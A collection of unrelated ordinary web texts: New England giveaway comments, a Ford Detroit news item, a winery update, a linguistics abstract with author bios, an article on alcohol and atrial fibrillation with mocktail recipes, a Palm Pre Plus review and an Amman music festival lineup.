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Yankee Magazine Giveaway!
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What a great give away!! I am already a follower and am glad I found ya!ReplyDelete
Wow what I like about New England!! Family would be the first. WE used to go there (Mass) almost every summer when I was a young in. Loved visiting my Nanie and Grampa and going to the beaches and taking drives up the north shore!! oh and the sea food.. :) I will end or we will have a novel here. Thanks for bringing some good memories my way!!
Hello Erin, I would love to enter your give away! I have never been to New England ( I live in Australia) but I adore your blog and the beautiful photographs you present each week. I am also a follower! Okay, what I love about New England mostly are the gorgeous weatherboard cottages with the traditional furnishings and gardens. The simple way of life, beautiful restaurants and obviously an enchanting place to live, that one day I hope to visit. Your blog for me is like a tourist guide where to stay and eat! So thank you anyway Erin again for sharing your experiences. Kindest regards, AnnReplyDelete
I have lived in New England most of my life. I have left and returned. When I was away I missed New England's annual eastern states exposition, The Big E! I love visiting the state buildings. I always enjoy ordering a Maine baked potato, a whipped maple cream cone from Vermont, and local berries from Mass. There is nothing like home :)ReplyDelete
What fun! I love New England because it has always been my home. The seasons are most beautiful and brilliant here, even the winter in its sheer austerity, is beauty almost beyond words. The light, the air, the ocean and the foods it yields, are all delights.ReplyDelete
Also, it seems that every trip to visit familiar places brings new views.
Best of all is balm for my soul, and just the best place to return to after a trip. Coming home, driving over the bridge brings a flutter to my heart everytime.
May you return very soon!
I went to school in New England and I used to live and work in Boston. Now,when I head up to New England, I can feel my body relax as soon as I cross the NY border into CT and wend my way north.ReplyDelete
Just this morning I was trying to describe to a friend the feeling of contentment I feel when I inhale the scent of fresh pine in New Hampshire--there is nothing like it.
I've been following your blog for a while now.
I'm already a follower, but I'm gonna comment! :) What I love most about New England - well, that is hard, but fall has got to be a major highlight. There is nowhere prettier than here in the fall! History - another favorite about New England! Ahhhh, there's just so much I love!ReplyDelete
You know I am a follower! I just love your blog!ReplyDelete
It is sooo hard for me to choose just one thing I love about New England. I guess since I have lived here my whole life I love that it is home. I love the change of seasons, especially fall. I love the history, the culture. I especially love the natural beauty. There is just so much!!!
I believe I am already a follower. What do I love about New England? How many characters do I have in this comment box?ReplyDelete
I love the four seasons, all the little ports on the Atlantic, lobster, clam chowder, the foliage, Boston, Newport, Stowe, antiquing in Connecticut, the Cape and the Islands, covered bridges in New Hampshire, the New England Patriots, the Boston Pops, the history of the area. I could go on and on, I love living here.
I immediately opened my huge 50 page scrapbook filled to the edges with memorabilia and photos of my trip five years ago.ReplyDelete
There are too many things I love about New England- I'm sorry, but here goes...the historical buildings and homes,the lobster, the covered bridges, fall leaves, antique shops, Pickity Place and hearing the adorable accent. I love clam chowder pronounced as chowdah!
Hi Erin, I have not heard of this magazine. Is a variety magazine? Anyhow have a great weekend.ReplyDelete
I'm a follower! I love the quaint towns of New England the most..., of course the sea and the islands too. I have heard of the Yankee Mag, but don't think I've ever had one in my hands, hmmmmmm. So...., thanks so much for the chance to win!!!! Great giveaway!!!ReplyDelete
Good morning Erin :)ReplyDelete
I am a follower and enjoy your blog, however it makes me miss New England even more! I love so many things about New England but would have to say that Autumn in New England is on the top of the list. The chill in the air, the beautiful Fall foliage, woodstove smoke, pumpkin stands and trips to the orchard for 'real' Apple Cider (not thick juice called cider). I also love the history :)
Thanks for a wonderful giveaway!
Hi Erin! Great giveaway. I would love to be entered. And you know I'm a follower. Thank you so much for all that you do for your blog. It's a delight to visit always.ReplyDelete
Happy Weekend to you,
Oh, if you can, stop by my blog, CluckleBees, tomorrow. I'll be celebrating Tasha Tudor Day and I would love to have you visit. Also, there will be links to other blogs celebrating Tasha that day, including the Rookery, hosted by Natalie who is the office manager at Tasha Tudor and Family, Inc. She's having a great giveaway there too.
As you know I follow you! Love this blog. What I like best about New England is ME! (Joking ;) On a serious note, I love the fact that it is the best place to enjoy all four seasons. It is full of rich history and home of the Toll House Chocolate Chip Cookie (what better reason is there? ;). I can be at the ocean and at the mountains in one day-love that! Norman Rockwell depicted it so well in his paintings.ReplyDelete
Ahhh...my home
i love that magazine and i love new england. the thing i love most about it is the feeling i get when i travel there!!!ReplyDelete
Hi Erin..what a great give away! I am a follower of yours (you are one of my favorites!) Anyway, I have always longed to spend a fall season in New England. Thanks to your I get to visit all sorts of places out thereReplyDelete
xoxo Gert
I won't enter your contest since I'm in Canada, but my favourite thing about New England is definitely the history.ReplyDelete
What a neat giveaway! :)ReplyDelete
I'm already a follower, but I thought I'd leave my 2 cents anyways...
What do I love about New England? The feeling of coming home, no matter where you are in New England. The people are friendly, warm-hearted and hard-working; nothing dampens their spirit or turns them against their beloved little corner of the US. I love the seasonal changes that come along with these people - the remarkable, vibrant seasons that each have their own character (just like the people) and keep us coming back for more. The coast, the inns, the foliage, the history, the lore & legend... all of it is amazing. There is nowhere else I could (or would ever want to!) live permanently. Once a New Englander, always a New Englander. :)
I am already a dedicated follower;) What do I love about New England? Where do I start? The Fall clours of course that's why I will be over there in a few weeks. The history, the houses, the harbour's, the lighthouses, the covered bridges. The food, the craft's, the people. Just everything really, I would love to live there permanently.ReplyDelete


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The Detroit News reports that Ford Motor Co. Executive Chairman Bill Ford and Mayor Dave Bing on Friday unveiled the Ford Resource and Engagement Center.
The center is located in an unused building on the city's southwest side. The Mexicantown Mercado opened in 2007 as part of a two-building complex but the fledgling businesses within it closed.
The facility is a key part of a $10 million initiative Ford announced in December to benefit Detroit and several nonprofit groups. The center's offerings will include job and language training, performing and fine arts classes and a food bank.


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2015 along with the nice weather is finally upon us. The Toro Run Team is extremely excited about all the new and upcoming events that will take place this year.
As a member of the Cayuga Wine Trail, we continue to host a number of events with the trail, as well as, parties and events of our own. Please visit our events page for more updates and information.
The fall of 2014 harvest was a great success as we processed over 80 tons of grapes and produced 13 varietals.
Expectations are high for yet another award winning year. Most recently we received a double gold medal for our Semi-Dry Riesling. Be sure to see our updates page for all of our recent awards of your favorite wines.
NEW this year- the Grape View Terrace. Toro Run Winery can now accommodate special events of up to 400 guests. Weddings, family gatherings, corporate picnics and more. Our new outdoors event site is completely customizable, allowing you to create a perfectly memorable day or evening for all to enjoy.
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Talk of linguistic universals has given cognitive scientists the impression that languages are all built to a common pattern. In fact, there are vanishingly few universals of language in the direct sense that all languages exhibit them. Instead, diversity can be found at almost every level of linguistic organization. This fundamentally changes the object of enquiry from a cognitive science perspective. This target article summarizes decades of cross-linguistic work by typologists and descriptive linguists, showing just how few and unprofound the universal characteristics of language are, once we honestly confront the diversity offered to us by the world's 6,000 to 8,000 languages. After surveying the various uses of "universal," we illustrate the ways languages vary radically in sound, meaning, and syntactic organization, and then we examine in more detail the core grammatical machinery of recursion, constituency, and grammatical relations. Although there are significant recurrent patterns in organization, these are better explained as stable engineering solutions satisfying multiple design constraints, reflecting both cultural-historical factors and the constraints of human cognition.
Linguistic diversity then becomes the crucial datum for cognitive science: we are the only species with a communication system that is fundamentally variable at all levels. Recognizing the true extent of structural diversity in human language opens up exciting new research directions for cognitive scientists, offering thousands of different natural experiments given by different languages, with new opportunities for dialogue with biological paradigms concerned with change and diversity, and confronting us with the extraordinary plasticity of the highest human skills.
Nicholas Evans is Professor of Linguistics at the Australian National University. His more than 120 linguistic publications include grammars of Kayardild and Bininj Gun-wok; dictionaries of Kayardild and Dalabon; edited books on polysynthesis, linguistic prehistory, and grammar-writing; and the recent Dying Words: Endangered Languages and What They Have To Tell Us (Wiley Blackwell, 2009). He has carried out intensive fieldwork on a number of languages of Australia and Papua New Guinea. Current research projects focus on the encoding of psychosocial cognition in grammar, song language traditions of Arnhem Land, and languages of South Coast New Guinea. Evans is a fellow of the Australian Academy of the Humanities.
Stephen C. Levinson is co-director of the Max Planck Institute for Psycholinguistics, and Professor of Comparative Linguistics at Radboud University, Nijmegen, The Netherlands. He is the author of more than 150 publications on language and cognition, including the books Pragmatics (Cambridge University Press [CUP], 1983), Politeness (CUP, 1987), Presumptive Meanings (MIT, 2000), Space in Language and Cognition (CUP, 2003). In addition, he has co-edited the following collections: Language Acquisition and Conceptual Development (CUP, 2001) with M. Bowerman; Grammars of Space (CUP, 2006) with D. Wilkins; Evolution and Culture (MIT, 2006) with P. Jaisson; and Roots of Sociality (Berg, 2006) with N. Enfield. Levinson has done extensive fieldwork on languages in India, Australia, Mexico, and Papua New Guinea, and coordinated research on the typology of languages in New Guinea and Australia. He is a fellow of the British Academy and the Academia Europaea.


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Alcohol and Afib Don't Mix
Doctors have long known that overindulging in alcohol can bring on atrial fibrillation, as described in research published in the American Journal of Cardiology. That's just one reason people with atrial fibrillation, or afib as it's called, should limit alcohol. Afib medications are another good reason. For instance, "people on warfarin are advised to not drink alcohol — it can make your blood thinner," says Lisa Cimperman, RD, a registered dietitian with University Hospitals Case Medical Center in Cleveland. However, you can still have fun poolside or at your next cookout with summertime drinks for afib. Here's how.
Drinks for Afib: Just Have One
First of all, Cimperman emphasizes, it's critical that you talk with your doctor to understand the recommendations for you personally. They might not be the same as for someone else with afib. But generally, unless you're taking medications that interact negatively with alcohol or your doctor has advised you against alcohol for your heart's health, a limited amount might be OK. Keeping to one glass of beer or wine or a shot of liquor is a good limit to be on the safe side. And savor the full experience: good company, good food, and good atmosphere. If you want to have more than one drink, she says, stick with seltzer water or another nonalcoholic drink.
Forgo the Alcohol With Club Soda and Lime
You may want a drink to nurse at a cocktail party without being offered more. Try this: A club soda with a twist of lime looks like a gin and tonic but offers refreshment with none of the alcohol. Ask for other citrus squeezes or a dash of pineapple or cranberry juice for a little more color and flavor. Also, most any drink becomes instantly more fun with the addition of a slice of citrus, a maraschino cherry, or a decorative umbrella or plastic toothpick — no alcohol required.
Opt for Nonalcoholic Beer
Instead of reaching for an icy cold beer, reach for a nonalcoholic version. Stock your fridge with this option, or order it at restaurants and bars. As a bonus, nonalcoholic beer may contain antioxidants and anti-inflammatory properties, according to researchers writing in the journal Medicine and Science in Sports & Exercise.
Try a Virgin Bloody Mary
If you love the taste of a Bloody Mary, have it without the alcohol. No one will know you've opted to skip the vodka. This is especially true if the drink arrives dressed up in a pretty glass with all the fixings, such as leafy celery stalks. If you're making this at home, just keep the alcohol down to one 1.5-ounce shot. If you include hot sauce, horseradish, pepper, and Worcestershire sauce, you won't notice its absence. The good news about a Bloody Mary, virgin or not? The tomato juice and celery are healthy choices for someone with afib. Watch the salt, however.
Hot Weather Favorite: Virgin Mojito
Few things say summer like a minty cool mojito. You can enjoy this sweet, cooling drink without the rum, however. Mash up the mint leaves and then add lime juice and simple syrup in a glass. Just use ginger ale or club soda instead of alcohol, or use a very small amount of alcohol in your mix for a low-alcohol version. Mojitos contain simple syrup, so if you're watching sugar or calories, limit yourself to just one drink. Use a dash of pomegranate juice for a colorful alternative.
Make a Shirley Temple Mocktail
With a little creativity, you can make any cocktail into a "mocktail" with colorful juices, fun shapes of ice, and accessories. A Shirley Temple might be the classic cute mocktail. Mix orange juice, lemonade, and about 1 tablespoon of grenadine syrup. Pour it all into your favorite festive drink glass, dress it up with a cherry and you're good to go.
Mix a Cranberry Sparkler
Cranberries and cranberry juice add beautiful color to your drink for afib. Mix fresh cranberries, orange juice, water or soda water, and syrup. Consider using frozen cranberries for ice cubes. You can dress up this mocktail or any drink by dipping a slightly wetted glass rim into granulated sugar to create a decorative rim for your drink.
Make Your Own Virgin Margarita
If you're making your own margaritas or other frozen drinks at home, you can control the amount of alcohol you add. By keeping the alcohol levels low, you can probably have one reasonably sized margarita or daiquiri without significant afib risk. One shot (about 1.5 ounces) of alcohol is about 14 grams, which is considered a safe amount to consume, according to the National Institutes of Health. But when you're not doing the mixing yourself, you won't know how much alcohol the host or bartender is truly using, so go for a mocktail instead.
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This is my first in a series of posts about the Verizon Palm Pre Plus. I'll be using the phone this month and sharing some of my experiences as well as hosting some very cool giveaways.
When I was first approached by The Motherhood to try out the Palm Pre Plus for a few weeks, I wasn't at all familiar with the phone. I have used Palm products in the past, but haven't tried out their phones. As a result, I was excited, but not quite sure what to expect. It would be an understatement to say that I'm pleasantly surprised by the smartphone.
The Palm Pre Plus is a solid little gadget with gently curved sides and back. It has a glossy black front and a matte black back. The front shows fingerprints and smears, but looks gorgeous when polished. The back doesn't capture finger prints at all and can be used for induction charging. With a touch screen and a slide-out keyboard, this phone looks snazzy. People frequently ask me about it when I'm using it in public.
The Palm Pre Plus' screen is clear and bright. It takes a moment to render images on screen, but once they're up, they look stunning. Even when zoomed in, web pages, pictures and videos look great. I always scoffed at the idea of watching video on my phone, but the Palm Pre Plus might make me a believer. The sound is pretty good, too. I found music to be a bit tinny, but I don't expect a perfect listening experience on my phone. I can clearly hear my phone conversations and that's what's most important.
I'll be posting more about my experiences with the Verizon Palm Pre Plus, as well as the giveaways, so I hope you'll stay tuned. And, if you have any questions, please feel free to ask.
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Summer's music scene is sizzlin' with the Dum Tak Alternative Arab Music Festival in the lineup
Dum Tak Alternative Arab Music Festival will host some of the biggest independent musicians from all over the Arab world - including several from Egypt – between 28 May and 1 June in the Jordanian capital city Amman.
Egypt is represented by a collection of some of the biggest bands in the country's music scene, such as Wust El-Balad and Massar Egabri, who are considered pioneers in Cairo and Alexandria, respectively, along with emerging voices such as Cairokee, Salalem and Lebanese/Egyptian duo Zeid Hamdan and Maii Waleed.
The festival will also include Lebanese favourites Mashrou' Leila and Fareeq El-Atrash, in addition to Palestinian bands, Tout Ard and DAM.
As the festival takes place in Amman, naturally Jordanian bands are included. Dum Tak did select the icons of the Jordanian scene, who frequently perform in Cairo and Beirut as well such as Autostrad, Za'ed Na'es, El-Morabba', Alaa Wardi and Hayajan, Akher Zapheer and Jaddal.
Dum Tak Festival is hosted in Bisharat Golf Club near Amman, all events start at 8pm
Tuesday 28 May
Toot Ard (Palestine)
Salalem (Egypt)
Autostrad (Jordan)
Wednesday 29 May
Za'ed Na'es (Jordan)
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Massar Egbari (Egypt)
Thursday 30 May
Fareeq El Atrash (Lebanon)
DAM (Palestine)
Cairokee & Zap Tharwat (Egypt)
Friday 31 May
Maii Waleed & Zeid Hamdan (Egypt & Lebanon)
Alaa Wardi & Hayajan (Jordan)
Wust El Balad (Egypt)
Saturday 1 June
Akher Zapheer (Jordan)
Jaddal (Jordan)
Mashrou' Leila (Lebanon)
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